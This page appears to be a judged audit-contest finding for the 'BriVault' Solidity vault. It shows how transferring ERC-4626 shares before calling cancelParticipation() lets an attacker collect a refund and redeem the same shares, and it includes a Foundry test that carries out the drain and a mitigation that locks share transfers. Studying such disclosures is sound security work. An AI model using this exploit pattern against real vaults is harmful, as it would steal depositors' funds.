BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Refund + Transferable Shares Allow Double-Dip Exploit

Root + Impact

Description

The vault allows users to transfer their ERC-4626 shares freely at any time, and also provides a cancelParticipation() function that refunds a user’s full stakedAsset[msg.sender] amount while burning only their current share balance.

Because the cancelParticipation() refund logic depends on stakedAsset[msg.sender] (which is not adjusted when the user transfers shares), an attacker can exploit this by transferring their shares to another address before requesting a refund.
The new holder of the shares still possesses valid ERC-4626 tokens that can be redeemed at any time using the inherited withdraw() or redeem() functions.

Impact
This vulnerability allows an attacker to withdraw more than their fair share of vault assets immediately, completely breaking the vault’s accounting model. A single attacker can drain the entire vault.

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
@> uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
@> uint256 shares = balanceOf(msg.sender);
@> _burn(msg.sender, shares);
@> IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood: High

  • The exploit is trivial: only standard ERC-20 transfer() and ERC-4626 redeem() calls are required. No timing or complex setup is needed.

Impact: High

  • Results in direct, immediate, and total financial loss. The vault’s solvency can be destroyed by the first malicious participant.

Proof of Concept

Step 1 - Victims deposit

  • 10 honest participants each deposit 100 ETH

  • Total deposited by victims: 1,000 ETH

  • Vault balance after fees: 985 ETH

Step 2 - Attacker executes: Deposit -> Transfer -> Cancel -> Redeem

  1. Deposit

    • Attacker deposits 100 ETH

    • Receives 98.5 shares (worth ≈ 98.5 ETH after fees)

  2. Transfer

    • Attacker transfers all 98.5 shares to wallet2

  3. Cancel Participation

    • Attacker calls cancelParticipation()

    • Contract refunds 98.5 ETH (based on original stake)

  4. Redeem via Wallet2

    • wallet2 now holds 98.5 shares

    • Immediately calls the inherited redeem() function

    • Receives ≈ 89.54 ETH worth of vault assets (based on current pool ratio)

Result:

  • Attacker deposit: 100 ETH

  • Refund received (cancel): 98.5 ETH

  • Redeemed via wallet 2: 89.54 ETH

  • Total gained: ≈ 188.04 ETH

This can be repeated until the vault is fully drained!

function test_double_dip() public {
// 1. Victims deposit and join event
address[] memory victims = new address[](10);
for (uint256 i = 0; i < 10; i++) {
victims[i] = address(uint160(5000 + i));
mockToken.mint(victims[i], 100 ether);
vm.startPrank(victims[i]);
mockToken.approve(address(briVault), 100 ether);
briVault.deposit(100 ether, victims[i]);
briVault.joinEvent(20);
vm.stopPrank();
}
uint256 vaultBalanceAfterVictims = mockToken.balanceOf(address(briVault));
uint256 attackerStartBalance = mockToken.balanceOf(attacker);
vm.startPrank(attacker);
mockToken.approve(address(briVault), 100 ether);
// 2a. Deposit 100 ETH (attacker's entire balance)
uint256 shares = briVault.deposit(100 ether, attacker);
// 2b. Transfer shares to wallet2
briVault.transfer(attackerWallet2, shares);
// 2c. Cancel to get refund
briVault.cancelParticipation();
vm.stopPrank();
// 2d. Wallet2 redeems shares immediately
vm.startPrank(attackerWallet2);
uint256 wallet2Shares = briVault.balanceOf(attackerWallet2);
briVault.redeem(wallet2Shares, attackerWallet2, attackerWallet2);
vm.stopPrank();
// Calculate final state
uint256 attackerFinalBalance = mockToken.balanceOf(attacker);
uint256 wallet2FinalBalance = mockToken.balanceOf(attackerWallet2);
uint256 combinedFinal = attackerFinalBalance + wallet2FinalBalance;
// Assertions
assertGt(combinedFinal, attackerStartBalance, "Attack should be profitable");
}

Recommended Mitigation

Make shares non-transferable until after event, by overriding _update function.

function _update(address from, address to, uint256 value) internal override {
if (from != address(0) && to != address(0)) {
if (block.timestamp < eventEndDate) {
revert("Shares locked during event period");
}
}
super._update(from, to, value);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

0x_bob_0x Submitter
18 days ago
bube Lead Judge
15 days ago
bube Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!